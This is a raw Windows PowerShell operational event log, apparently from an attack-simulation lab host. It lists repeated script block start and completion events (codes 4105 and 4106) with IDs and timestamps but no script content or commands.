Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027281
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027279
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027278
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027261
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027256
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027255
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
